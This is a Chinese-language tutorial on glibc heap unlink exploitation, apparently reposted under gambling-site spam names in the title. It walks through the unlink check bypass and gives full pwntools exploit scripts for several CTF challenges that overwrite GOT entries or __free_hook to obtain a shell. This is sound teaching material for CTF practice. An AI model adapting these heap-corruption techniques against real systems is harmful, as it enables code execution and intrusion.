泰皇娱乐堆入门---unlink的理解和各种题型总结_HUC惠仲娱乐

泰皇娱乐

这是我开始学习堆不久后对于一些知识点和CTF题型的总结,希望能帮助到更多的初学者入门二进制安全,大家可以一起打PWN交流,题目和exp我放在附件,下面直接进入正题:

一、源码介绍:

当需要合并相邻的freechunk时用到unlink:

1、向后合并:

#!c     /*malloc.c  int_free函数中*/ /*这里p指向当前malloc_chunk结构体,bck和fwd分别为当前chunk的向后和向前一个free chunk*/ /* consolidate backward */     if (!prev_inuse(p)) {       prevsize = p->prev_size; size += prevsize; //修改指向当前chunk的指针,指向前一个chunk。       p = chunk_at_offset(p, -((long) prevsize));        unlink(p, bck, fwd); }     //相关函数说明: /* Treat space at ptr + offset as a chunk */ #define chunk_at_offset(p, s)  ((mchunkptr) (((char *) (p)) + (s)))   /*unlink操作的实质就是:将P所指向的chunk从双向链表中移除,这里BK与FD用作临时变量*/ #define unlink(P, BK, FD) {                                            \     FD = P->fd;                                   \     BK = P->bk;                                   \     FD->bk = BK;                                  \     BK->fd = FD;                                  \     ... } 

画个图举例说明:

当chunk2free完了,发现上一个块chunk1也是free状态的,就抱大腿合并起来,指挥权交给chunk1,指向chunk2的ptr指针现在指向chunk1,size也变为size+presize:也就是这样:

接着因为使用完了会进行分箱式管理,因此这个新的free的chunk1不会很快回到操作系统,于是需要从所在的free的chunk链中进行unlink(有fd指针和bk指针)再放到unsorted bin中保存。

2、向前合并():

#!c …… /*这里p指向当前chunk*/ nextchunk = chunk_at_offset(p, size); …… nextsize = chunksize(nextchunk); …… if (nextchunk != av->top) {        /* get and clear inuse bit */       nextinuse = inuse_bit_at_offset(nextchunk, nextsize);//判断nextchunk是否为free chunk       /* consolidate forward */       if (!nextinuse) { //next chunk为free chunk             unlink(nextchunk, bck, fwd); //将nextchunk从链表中移除           size += nextsize; // p还是指向当前chunk只是当前chunk的size扩大了,这就是向前合并!       } else             clear_inuse_bit_at_offset(nextchunk, 0);            ……     } 

同样用图来解释:

当chunk1free完了,发现相邻的chunk2也是free的,会先进行unlink(让chunk2先脱链,有fd和bk指针),然后再进行合并:size = size+nextsize,ptr指向不变,还是自己:

以上就是两种合并free的chunk的方式,合并过程中用到unlink函数,在free的链表中把chunk块脱下来,然后可以把新的free的chunk块放到bins中管理~

二、保护机制探索

目前集成的对于unlink的保护机制主要就是下面这个:

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                         malloc_printerr (check_action, "corrupted double-linked list", P, AV); 

这个保护学过了数据结构都懂得,也就是要满足p-->fd-->bk = p-->bk-->fd = p,很好理解,但是要怎么绕过呢?

利用一个很巧妙的数学等式,完美搞定:下面的例子演示的是64位的例子(一个字节8位),取一个全局变量ptr(指针地址,一般为chunk块的指针地址,存放于bss段中)

令p-->fd = ptr - 24,p-->bk = ptr - 16 ,为什么这么构造,待会就知道了,我们知道空闲块的布局是这样的:

当我们构造好了后,得到FD = p-->fd = ptr - 24,BK = p-->bk = ptr - 16,那么FD-->bk = FD + 3*8 = ptr - 24 + 24 = ptr,同理可得BK-->fd = BK + 16 = ptr - 16 + 16 = ptr,也就是说FD-->bk = BK-->fd = ptr,从而成功绕过了检测机制,那么unlink执行了~我们知道执行是这样的:

FD = P->fd;                                   \     BK = P->bk;                                   \     FD->bk = BK;                                  \     BK->fd = FD; 

根据上面的精心构造,我们可以得到FD-->bk = BK 相当于ptr = ptr - 16,BK->fd = FD相当于 ptr = ptr - 24,unlink执行完了后,我们得到最终的结果就是ptr = ptr -24 ,也就是说ptr指向了ptr-24的地址处。那么如果我们往ptr写入内容为‘a’*24+free(got),那么就可以实现在ptr处写入free的got表,如果再往ptr写入onegadget,那么就是我往free的got表写入onegadget从而getshell~

纸上学终觉浅,绝知此事要躬行:上题目

LAB11:bamboobox

开了堆栈不可执行和栈溢出保护,问题不大:

ida分析一波

int __cdecl main(int argc, const char **argv, const char **envp) {   _QWORD *v3; // [rsp+8h] [rbp-18h]   char buf; // [rsp+10h] [rbp-10h]   unsigned __int64 v5; // [rsp+18h] [rbp-8h]    v5 = __readfsqword(0x28u);   setvbuf(stdout, 0LL, 2, 0LL);   setvbuf(stdin, 0LL, 2, 0LL);   v3 = malloc(0x10uLL);   *v3 = hello_message;   v3[1] = goodbye_message;   (*v3)(16LL, 0LL);   while ( 1 )   {     menu();     read(0, &buf, 8uLL);     switch ( atoi(&buf) )     {       case 1:         show_item(&buf, &buf);         break;       case 2:         add_item(&buf, &buf);         break;       case 3:         change_item();         break;       case 4:         remove_item();         break;       case 5:         (v3[1])(&buf, &buf);         exit(0);         return;       default:         puts("invaild choice!!!");         break;     }   } } 

熟悉的菜单题:把功能都看一遍


接着我们把函数提取出来:

def malloc(size,content):     ru("Your choice:")     sl('2')     ru("Please enter the length of item name:")     sd(str(size))     ru("Please enter the name of item:")     sd(content) def free(index):     ru("Your choice:")     sl('4')     ru("Please enter the index of item:")     sl(str(index)) def exit():     ru("Your choice:")     sl('5') def puts():     ru("Your choice:")     sl('1') def change(index,size,content):     ru("Your choice:")     sl('3')     ru("Please enter the index of item:")     sd(str(index))     ru("Please enter the length of item name:")     sd(str(size))     ru("Please enter the new name of the item:")     sd(content) 

认真分析会发现chunk块的结构如下:

struct chunk{

int size;

char a[size];

}

进一步分析可以知道,存在堆溢出的漏洞,造成堆块的重叠,这里就是说change时会把新的内容输进去,从而覆盖原来的内容达到溢出的目的,但是一开始题目会生成一个chunk(0x10),我们知道这是用于输出最开始和结束的字符串,有地址,程序有magic地址:

这题的思路就是unlink,因为有堆溢出的漏洞,所以可以改写相邻的chunk的状态,使得它在free时会触发unlink,实现我们的攻击目的:

利用思路:在chunk1中构造fake_chunk,然后溢出改chunk2的presize和size,这样就可以free掉chunk1了,同时可以触发unlink,使得我们的ptr指针指向ptr-3的位置,输入时输入‘a’*24+atoi_got,就可以实现ptr指向got表,接着可打印出真实地址,又可以改写got为onagadget。

上exp:

#coding=utf8 from pwn import * context.log_level = 'debug' context(arch='amd64', os='linux')  local = 1 elf = ELF('./bamboobox') if local:     p = process('./bamboobox')     libc = elf.libc else:     p = remote('116.85.48.105',5005)     libc = ELF('./libc.so.6')  sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive()   def bk(addr):     gdb.attach(p,"b *"+str(hex(addr)))  def malloc(size,content):     ru("Your choice:")     sl('2')     ru("Please enter the length of item name:")     sd(str(size))     ru("Please enter the name of item:")     sd(content) def free(index):     ru("Your choice:")     sl('4')     ru("Please enter the index of item:")     sl(str(index)) def exit():     ru("Your choice:")     sl('5') def puts():     ru("Your choice:")     sl('1') def change(index,size,content):     ru("Your choice:")     sl('3')     ru("Please enter the index of item:")     sd(str(index))     ru("Please enter the length of item name:")     sd(str(size))     ru("Please enter the new name of the item:")     sd(content)  magic = 0x400d49 atoi_got = elf.got["atoi"]  #bk(0x0000000000400ADD) malloc(0x80,'aaaa') malloc(0x80,'bbbb')  FD = 0x6020c8 - 3*8 BK = FD + 8 py1 = p64(0) + p64(0x81) + p64(FD) + p64(BK)  #0x20 py1 += "a"*0x60  py1 += p64(0x80) + p64(0x90) #0x10 change(0,0x90,py1) free(1)  py2 = '' py2 += 'a'*24 + p64(atoi_got) change(0,len(py2),py2)  puts()  atoi_addr = u64(ru('\x7f')[-6:].ljust(8,'\x00')) print "atoi_addr--->" + hex(atoi_addr) onegadget = atoi_addr - libc.symbols["atoi"] + 0xf02a4 print "onegadget--->" + hex(onegadget) change(0,0x10,p64(onegadget)) exit()  p.interactive() 

下面进入gdb动态调试一波,看下具体是怎么实现的:

首先是malloc两个0x80大小的块(实际会是0x90,超过了fastbin的范围),就可以实现unlink,双向链表才有这个操作,fastbin单向链表所以是没有的unlink的攻击的。

可以看到3个chunk,1号chunk是存字符串的,2和3号chunk是我们申请的chunk块。

接着我们构造出fake_chunk:

在free掉chunk3前,我们先看看我们的ptr = 0x6020c8在内存中的布局:

看到它指向的正是0xf4d030,也就是我们的chunk2的string的堆块地址,接着我们free掉chunk3,可以得到:

ptr指向我们的ptr-24的位置(0x6020b0),接着看下我们的堆块

可以看到由于只有一个free块又与topchunk相邻,所以会和topchunk结合。大小变成0x20fd1,如果申请了3个chunk就会放到unsorted bin 中。

接着我们改写0x6020c8的位置为atoi的got表:

这里前面有3个位置直接填充字符,看到0x6020c8的位置被我们成功写成了atoi的got表,接着再写一次就是往got写onegadget了:

可以看到成功写入了onegadget,当再次选择时,调用atoi函数就是调用了onegadget,那么就可以gethell了~

这题如果不用unlink去做,就是用house of force,也就是一开始我想的,怎么修改程序自己生成的那个chunk,因为里面有地址,想要修改地址里面的内容为我们的magic,这样就可以实现catflag了,直接上exp:

#coding=utf8 from pwn import * context.log_level = 'debug' context(arch='amd64', os='linux')  local = 1 elf = ELF('./bamboobox') if local:     p = process('./bamboobox')     libc = elf.libc else:     p = remote('116.85.48.105',5005)     libc = ELF('./libc.so.6')  sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive()   def bk(addr):     gdb.attach(p,"b *"+str(hex(addr)))  def malloc(size,content):     ru("Your choice:")     sl('2')     ru("Please enter the length of item name:")     sd(str(size))     ru("Please enter the name of item:")     sd(content) def free(index):     ru("Your choice:")     sl('4')     ru("Please enter the index of item:")     sl(str(index)) def exit():     ru("Your choice:")     sl('5') def puts():     ru("Your choice:")     sl('1') def change(index,size,content):     ru("Your choice:")     sl('3')     ru("Please enter the index of item:")     sd(str(index))     ru("Please enter the length of item name:")     sd(str(size))     ru("Please enter the new name of the item:")     sd(content)  magic = 0x400d49  bk(0x0000000000400ADD) malloc(0x60,'aaaa') py1 = 'a'*0x60 + p64(0) + p64(0xffffffffffffffff) change(0,0x70,py1) malloc(-160,'bbbb') malloc(0x20, p64(magic)*2) p.interactive() 

那么问题来了,如果没有这个堆溢出漏洞可以去构造出fake_chunk时,或者说malloc的大小固定时我们应该怎么办呢?这里介绍第二种方式:堆块的错位重叠(同样也是堆块里面创造堆块),这里要用到堆地址才能实现,所以得有puts函数打印出堆块上面的信息。

看下网鼎杯的babyheap:

这里看到出了canary,其他的保护几乎全开,got表不可改?真的吗?错,__free_hook还是可以改写的,这是个知识点,要记牢固!

下面进行分析:

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) {   int v3; // [rsp+Ch] [rbp-24h]   char s; // [rsp+10h] [rbp-20h]   unsigned __int64 v5; // [rsp+28h] [rbp-8h]    v5 = __readfsqword(0x28u);   sub_400882();   puts("I thought this is really baby.What about u?");   puts("Loading.....");   sleep(5u);   while ( 1 )   {     while ( 1 )     {       while ( 1 )       {         sub_4008E3();         memset(&s, 0, 0x10uLL);         read(0, &s, 0xFuLL);         v3 = atoi(&s);         if ( v3 != 2 )           break;         sub_400A79();       }       if ( v3 > 2 )         break;       if ( v3 != 1 )         goto LABEL_13;       sub_4009A0();     }     if ( v3 == 3 )     {       sub_400C01();     }     else     {       if ( v3 != 4 ) LABEL_13:         exit(0);       sub_400B54();     }   } } 

可以看到是常规的菜单题,然后提取出各个函数:

def malloc(index,Content):     ru("Choice:")     sl('1')     ru("Index:")     sl(str(index))     ru("Content:")     sd(Content) def free(Index):     ru("Choice:")     sl('4')     ru("Index:")     sl(str(Index)) def puts(Index):     ru("Choice:")     sl('3')     ru("Index:")     sl(str(Index)) def exit():     ru("Choice:")     sl('5') def edit(index,Content):     ru("Choice:")     sl('2')     ru("Index:")     sl(str(index))     ru("Content:")     sd(Content) 

这里需要注意几点,首先只能申请10个堆块,然后只能编辑3次,那么问题来了,该怎么做呢?

第一步先泄露出堆的基地址:

malloc(0,'aaaaaaaa\n') malloc(1,'bbbbbbbb\n') free(1) free(0) puts(0) heap_addr = u64(rc(4).ljust(8,'\x00')) - 0x30 print "heap_addr--->" + hex(heap_addr) 

free完了,我们在bins中得到了2个chunk块。这里free的顺序需要特别注意,因为第一个申请的一般低位是0会有截断,我试过,泄露不出地址。所以先free掉chunk1再free掉chunk0,这样chunk0指向chunk1,得到chunk1的地址,进一步得到堆块的基地址。

拿到了堆块的基地址,可以构造fakechunk了,这里我们用堆块错位法,编辑下:

在chunk0的fd位置填写0x113d020,bk填写0,然后data那里填写0和0x31,那么fd指向chunk0自身的0x113d020位置处,bins中也可见:

接着我们申请新的块就会造成堆块的重叠错位,要知道0x113d030处正好有我们的chunk1的大小0x30,如果我们成功控制了0x113d020的堆块,就可以下溢修改chunk1的大小了,改成大于fastbins的chunk,使得后面free时可以得到main_arena的地址,说干就干。

成功了,看到chunk1的大小变成了0xa0,而且转态是free的,但是我们得继续申请才有这么多的空间(实际上还是0x20的大小),我们接着申请2个垃圾堆块(0x60,纯属为了free时给空间),再申请一个chunk4,chunk4的presize和size还是属于我们的fake_chunk的。0x30+0x60+0x10 = 0xa0,刚好,下面我们对chunk4进行精心的构造,造出第二个fake_chunk来,好实现unlink操作~

0x113d0d0那里有0和0x30,gdb没有显示而已,是我们的fake_chunk的presize和size,然后全局变量我们选取的是chunk1的地址指针(0x602068)+24的位置即0x602080(chunk4的指针地址),fd和bk就构造出来了:

FD = 0x602080-24 BK = 0x602080-16 py2 = '' py2 += p64(0) + p64(0x31) py2 += p64(FD) + p64(BK) malloc(4,py2) py3 = '' py3 += p64(0x30) + p64(0x30) + '\n' malloc(5,py3) 

最终unlink出来,0x602080指向0x602068的位置,也就是说chunk4指向chunk1,那么编辑chunk4,就会往chunk1写入free_hook真实地址,接着再编辑chunk1一次,往free_hook地址上写入onegadget即可getshell~

这是unlink后的chunk块,可以发现是向前合并的类型,0xa0+0x30=0xd0,同时放入了unsortedbin中,那么我们直接可以打印出main_arena的地址,从而得到基地址和onegadget,接着编辑即可,上完整的exp:

#coding=utf8 from pwn import * context.log_level = 'debug' context(arch='amd64', os='linux') #context(arch='i386', os='linux') local = 1 elf = ELF('./babyheap') if local:     p = process('./babyheap')     libc = elf.libc else:     p = remote('116.85.48.105',5005)     libc = ELF('./libc.so.6')  sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() #addr = u64(rc(6).ljust(8,'\x00')) #addr = u32(rc(4)) #addr = int(rc(6),16)#string def debug(addr,PIE=True):     if PIE:         text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)         gdb.attach(p,'b *{}'.format(hex(text_base+addr)))     else:         gdb.attach(p,"b *{}".format(hex(addr)))  def bk(addr):     gdb.attach(p,"b *"+str(hex(addr)))   def malloc(index,Content):     ru("Choice:")     sl('1')     ru("Index:")     sl(str(index))     ru("Content:")     sd(Content) def free(Index):     ru("Choice:")     sl('4')     ru("Index:")     sl(str(Index)) def puts(Index):     ru("Choice:")     sl('3')     ru("Index:")     sl(str(Index)) def exit():     ru("Choice:")     sl('5') def edit(index,Content):     ru("Choice:")     sl('2')     ru("Index:")     sl(str(index))     ru("Content:")     sd(Content) bk(0x400A56)  malloc(0,'aaaaaaaa\n') malloc(1,'bbbbbbbb\n') free(1) free(0) puts(0) heap_addr = u64(rc(4).ljust(8,'\x00')) - 0x30 print "heap_addr--->" + hex(heap_addr) py1 = p64(heap_addr+0x20) + p64(0) py1 += p64(0) + p64(0x31) edit(0,py1)  malloc(6,'aaa\n') malloc(7,p64(0) + p64(0xa1) + '\n')  malloc(2,'cccccccc\n') malloc(3,'dddddddd\n')  FD = 0x602080-24 BK = 0x602080-16 py2 = '' py2 += p64(0) + p64(0x31) py2 += p64(FD) + p64(BK) malloc(4,py2) py3 = '' py3 += p64(0x30) + p64(0x30) + '\n' malloc(5,py3)  free(1) puts(1)  main_arena = u64(rc(6).ljust(8,'\x00')) - 88 print "main_arena--->" + hex(main_arena) libc_base = (main_arena&0xfffffffff000) - 0x3c4000 print 'libcbase--->' + hex(libc_base) # malloc_hook = main_arena - 0x10 # libc_base1 = malloc_hook - libc.symbols["__malloc_hook"] # print 'libc_base1--->' + hex(libc_base1) onegadget = libc_base + 0x4526a free_hook = libc_base + libc.symbols["__free_hook"] print "free_hook--->" + hex(free_hook) print "onegadget--->" + hex(onegadget)  edit(4,p64(free_hook) + '\n') edit(1,p64(onegadget) + '\n') free(2)  p.interactive() 

调试可以看到信息:

接着随便free掉一个块即可getshell~

这里总结如下:

首先题型是固定malloc大小,然后不能实现堆溢出,可以通过泄露出堆地址来实现chunk的错位从而间接改写chunk大小为大于fastbin的大小,并通过不断申请新的chunk来加需要的空间,最后构造一个free的chunk来实现unlink(向前合并),再构造一个chunk来使得前面的chunk位free状态,最后free掉一开始的chunk块,既可实现双重功能:泄露libc和任意地址写~用到的知识点是unlink+UAF+fastbin_attack

那就再来一道简单题:

2018年强网杯silent2:

分析代码:

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) {   int v3; // [rsp+4h] [rbp-Ch]   unsigned __int64 v4; // [rsp+8h] [rbp-8h]    v4 = __readfsqword(0x28u);   sub_40091C(a1, a2, a3);   sub_4009A4();   while ( 1 )   {     __isoc99_scanf("%d", &v3);     getchar();     switch ( v3 )     {       case 2:         sub_400AB7();         break;       case 3:         sub_400B2F();         break;       case 1:         sub_4009DC();         break;     }   } } 

得到函数:

def create(size, content):     p.sendline('1')     p.sendline(str(size))     p.send(content)   def modify(idx, content1, content2):     p.sendline('3')     p.sendline(str(idx))     p.send(content1)     p.send(content2)   def delete(idx):     p.sendline('2')     p.sendline(str(idx)) 

可以看到是没有puts函数可以打印的,但是这题的思路相对清晰,就是利用UAF漏洞,先malloc5个chunk块(大于0x80),0,1,2,3,4,其中2chunk写入“、bin/sh\x00”,因为看到了system函数,可以直接调用的,然后free掉3和4,再申请一个大的块时就会得到之前free的两个块,上面的信息也会保留,于是可以构造fake_chunk了,这里先构造一个fake_chunk1用于unlink,接着构造第二个fake_chunk2,将第一个fake_chunk状态置为0,同时修改下一个chunk4的大小使其满足fake_chunk1+fake_chunk2 = 大的malloc的chunk。接着我们再free掉4号chunk,(double free)就会向后合并,从而使得chunk3的地址指针指向chunk0,接着再往chunk3写入free的got,再接着往chunk0写入system,然后free掉2号chunk,即可getshell~

直接上exp:

#coding=utf8 from pwn import * context.log_level = 'debug' context(arch='amd64', os='linux') #context(arch='i386', os='linux') local = 1 elf = ELF('./silent2') if local:     p = process('./silent2')     libc = elf.libc else:     p = remote('116.85.48.105',5005)     libc = ELF('./libc.so.6')  def create(size, content):     p.sendline('1')     p.sendline(str(size))     p.send(content)   def modify(idx, content1, content2):     p.sendline('3')     p.sendline(str(idx))     p.send(content1)     p.send(content2)   def delete(idx):     p.sendline('2')     p.sendline(str(idx))   p.recvuntil('king') # 自己创建的banner.txt文件的内容  func_addr = 0x4009C0 free_got_plt = 0x602018 p_addr = 0x6020D8  create(0x100, 'AAAA') create(0x100, 'BBBB') create(0x100, '/bin/sh\x00') #bk(0x0000000000400A4F) create(0x100, 'DDDD') create(0x100, 'EEEEE')  delete(3) delete(4) payload = p64(0) + p64(0x101) + p64(p_addr - 0x18) + p64(p_addr - 0x10) + 'A' * (0x100 - 0x20) + p64(0x100) + p64(     0x210 - 0x100) # 构造两个chunk,绕过unlink的检查 create(0x210, payload) delete(4)  # double free modify(3, p64(free_got_plt)[0:4], '1111') modify(0, p64(func_addr)[0:6], '2222') delete(2)  p.interactive() 

这题和堆块下溢本质上是差不多的,区别在于没有puts函数和下溢漏洞,但是有UAF漏洞,就可以实现构造fake_chunk,这和第一题是很像的,和下溢的操作是差不多的。

堆溢出,还有一种情况就是当我们的puts无法调用时,无法打印出堆块上面的内容时,我们可以间接调用法,通过unlink写入free的got,然后再写一次往free的got写入puts_plt,那么就可以实现free调用就是调用puts函数,只要free一个带有got表的堆块,我们就可以实现puts打印功能了,接着再次改写free的got为onegadget或者atoi的got为system,传参数(/bin/sh\x00)即可实现getshell~

上题目:

2014 HITCON stkof

由于利用思路都是一样的,堆溢出构造fake_chunk,然后unlink攻击,所以直接上exp:

#coding=utf8 from pwn import * context.log_level = 'debug' context(arch='amd64', os='linux') #context(arch='i386', os='linux') local = 1 elf = ELF('./stkof') if local:     p = process('./stkof')     libc = elf.libc else:     p = remote('116.85.48.105',5005)     libc = ELF('./libc.so.6')  sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() #addr = u64(rc(6).ljust(8,'\x00')) #addr = u32(rc(4)) #addr = int(rc(6),16)#string def debug(addr,PIE=True):     if PIE:         text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)         gdb.attach(p,'b *{}'.format(hex(text_base+addr)))     else:         gdb.attach(p,"b *{}".format(hex(addr))) def bk(addr):     gdb.attach(p,"b *"+str(hex(addr)))  def edit(index,size,Content):     sl('2')     sl(str(index))     sl(str(size))     sd(Content)     ru('OK\n') def free(Index):     sl('3')     sl(str(Index)) def malloc(size):     sl('1')     sl(str(size))     ru('OK\n')  ptr = 0x602150 free_got = elf.got['free'] atoi_got = elf.got['atoi'] puts_got = elf.got["puts"] puts_plt = elf.symbols['puts'] malloc(0x80)#1 malloc(0x30)#2 bk(0x400981) malloc(0x80)#3 FD = ptr - 0x18 BK = ptr - 0x10 py = '' py += p64(0) + p64(0x31) py += p64(FD) + p64(BK) py += 'a'*16 py += p64(0x30) + p64(0x90) edit(2,0x40,py) free(3) py1 = '' py1 += p64(0) + p64(atoi_got) + p64(puts_got) + p64(free_got) edit(2,len(py1),py1) py2 = '' py2 += p64(puts_plt) edit(2,len(py2),py2) free(1) puts_addr = u64(ru('\x7f')[-6:].ljust(8,'\x00')) print "puts_addr--->" + hex(puts_addr) onegadget = puts_addr - libc.symbols["puts"] + 0xf02a4 print "onegadget--->" + hex(onegadget) system = puts_addr - libc.symbols["puts"] + libc.symbols['system'] # edit(2,0x8,p64(onegadget)) # free(2) edit(0,0x8,p64(system)) sl('/bin/sh\x00') p.interactive() 

下面是我当时打全国大学生信息安全竞赛时半决赛的一道unlink的题目总结:

题目:PWN1

首先看下保护机制:

看到保护机制,想到要想getshell,只有通过修改__free_hook的地址为我们的onegadget,先埋下伏笔,这里分析开始漏洞:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp) {   int v3; // eax    init();   while ( 1 )   {     while ( 1 )     {       while ( 1 )       {         menu();         v3 = read_int();         if ( v3 != 2 )           break;         fr();       }       if ( v3 > 2 )         break;       if ( v3 != 1 )         goto LABEL_13;       ma();     }     if ( v3 == 3 )     {       ed();     }     else     {       if ( v3 != 4 ) LABEL_13:         exit(1);       sh();     }   } } 

提取出函数:

def edit(index,Content):     ru("show")     sl('3')     ru("index:")     sl(str(index))     ru("content:")     sd(Content) def free(Index):     ru("show")     sl('2')     ru("index:")     sl(str(Index)) def malloc(index,size,content):     ru("show")     sl('1')     ru("index:")     sl(str(index))     ru("size:")     sl(str(size))     ru("content:")     sd(content) def puts(index):     ru("show")     sl('4')     ru("index:")     sl(str(index)) 

首先是malloc函数,发现很正常,输入下标,大小和内容:

接着是free函数:

接着edit函数:

最后是puts函数,key2应该是0,所以用不了打印函数:

bss段中key1和key2,掌控着edit函数的使用次数和puts函数的打印功能,而且细心会发现,其实只要填到key2,因为地址占用8位,那么key1也是会被覆盖成1的,问题是要修改这里的值,得下溢,所以得往上找注入点:

如果我们可以往chunk32的地址0x6021E0处写入内容的话,就可以实现下溢,0x6022b8-0x6021E0 = 0xd8字节,也就是从这里开始输入要输入0xd8的字节,同时chunk32是我们能控制的最后一个chunk块,unlink后输入的位置是chunk29的地址,有0x18的距离,0x18+0xd8=0xf0,也就是要填充0xf0的junk string,然后再写入8字节的数字,所以一共需要0xf8的大小,即堆块的大小必须要是0xf8才行,这是第一个坑点,需要计算出要malloc的堆块大小。

接着因为off by null的原理是在输入最后加上一个\x00,溢出一个字节,那么就可以想到修改上一个堆块的状态为free,于是想到可以用unlink的做法实现chunk32的地址指向chunk29,那么我们可以构造出来:

malloc(0,0xf8,'aaaa') malloc(32,0xf8,'bbbb') malloc(1,0xf8,'cccc') malloc(31,0xf8,'dddd') free_got = elf.got['free'] ptr = 0x6021E0#32 FD = ptr - 24 BK = ptr - 16 py = '' py += p64(0) + p64(0xf1) py += p64(FD) + p64(BK) py = py.ljust(0xf0, "\x00") py += p64(0xf0) edit(32,py) free(1) 

我们先申请4个堆块,然后在chunk32里面做文章,构造出我们的unlink链子,由于off by one的漏洞,会把chunk1的size字节低位置为0,那么就是说我们的fake_chunk是free状态的,这时我们如果free掉chunk1,就会触发unlink从而实现了chunk32指向chunk29,如果我们edit了chunk32,就会从chunk29开始输入,下面一步步看下具体的过程,首先是申请:

接着是fake_chunk的构造:方框是fake_chunk,圆圈是我们的offbyone漏洞,使得我们的fake_chunk为free状态

unlink一下:

一个unlink实现了泄露出libc基地址和0x6021e0指向0x6021c8,接着再改写key1和key2:

py = '' py += p64(0x6021E0)*3 + p64(free_got)#0x20 py += 'a'*0xD0 py += p64(1) edit(32,py) 

下图中key2为0,key1位1(改写前),可edit不可puts

下图中key2为1,key1位0(改写后)可edit可puts

这里很巧妙的一点就是chunk29到chunk31都填写chunk32的地址,也就是往chunk29到chunk31写入内容实则都是往chunk32写入内容,那么我们可以进行真实地址泄露了,这里可以puts出chunk32上面的free的真实地址,也可以通过打印1号块的内容来泄露main_arena地址(unsorted bin攻击),打印完了我们就可以得到system和onegadget和free_hook的地址,然后将free_hook地址写入到chunk32中,再往chunk32写入onegadget:

上exp:

#coding=utf8 from pwn import * context.log_level = 'debug' context(arch='amd64', os='linux') #context(arch='i386', os='linux') local = 1 elf = ELF('./pwn1') if local:     p = process('./pwn1')     libc = elf.libc else:     p = remote('116.85.48.105',5005)     libc = ELF('./libc.so.6')  def debug(addr,PIE=True):     if PIE:         text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)         gdb.attach(p,'b *{}'.format(hex(text_base+addr)))     else:         gdb.attach(p,"b *{}".format(hex(addr))) def bk(addr):     gdb.attach(p,"b *"+str(hex(addr)))  def edit(index,Content):     ru("show")     sl('3')     ru("index:")     sl(str(index))     ru("content:")     sd(Content) def free(Index):     ru("show")     sl('2')     ru("index:")     sl(str(Index)) def malloc(index,size,content):     ru("show")     sl('1')     ru("index:")     sl(str(index))     ru("size:")     sl(str(size))     ru("content:")     sd(content) def puts(index):     ru("show")     sl('4')     ru("index:")     sl(str(index))   #bk(0x400990) malloc(0,0xf8,'aaaa') malloc(32,0xf8,'bbbb') malloc(1,0xf8,'cccc') malloc(31,0xf8,'dddd') free_got = elf.got['free'] ptr = 0x6021E0#32 FD = ptr - 24 BK = ptr - 16 py = '' py += p64(0) + p64(0xf1) py += p64(FD) + p64(BK) py = py.ljust(0xf0, "\x00") py += p64(0xf0) edit(32,py) free(1) #0xF8 py = '' py += p64(0x6021E0)*3 + p64(free_got) py += 'a'*0xD0 py += p64(1) edit(32,py) puts(32) free_addr = u64(ru('\x7f')[-6:].ljust(8,'\x00')) print "free_addr--->" + hex(free_addr) onegadget = free_addr - libc.symbols["free"] + 0x4526a print "onegadget--->" + hex(onegadget) free_hook = free_addr - libc.symbols["free"] + libc.symbols['__free_hook'] print "free_hook--->" + hex(free_hook) pay = p64(free_hook)#这里需要注意,edit又会被使用完,所以需要再覆盖一次为1 pay = pay.ljust(0xf0,'\x00') pay += p64(1) edit(31,pay) edit(32,p64(onegadget)) free(0) p.interactive() 

最后free掉chunk0即可getshell~

总结:

这里学到了新的技巧是利用off by null+unlink(手动计算堆块大小0xf8),同时学到了那3个地址写同一个地方的操作(针对于只有free_hook可用,需要二次写入时),还有就是一个覆盖的问题,写入覆盖bss段中的key实现函数的利用,认识了这么多的题型和技巧,unlink算是学的比较懂了,进军下一个方向,冲冲冲~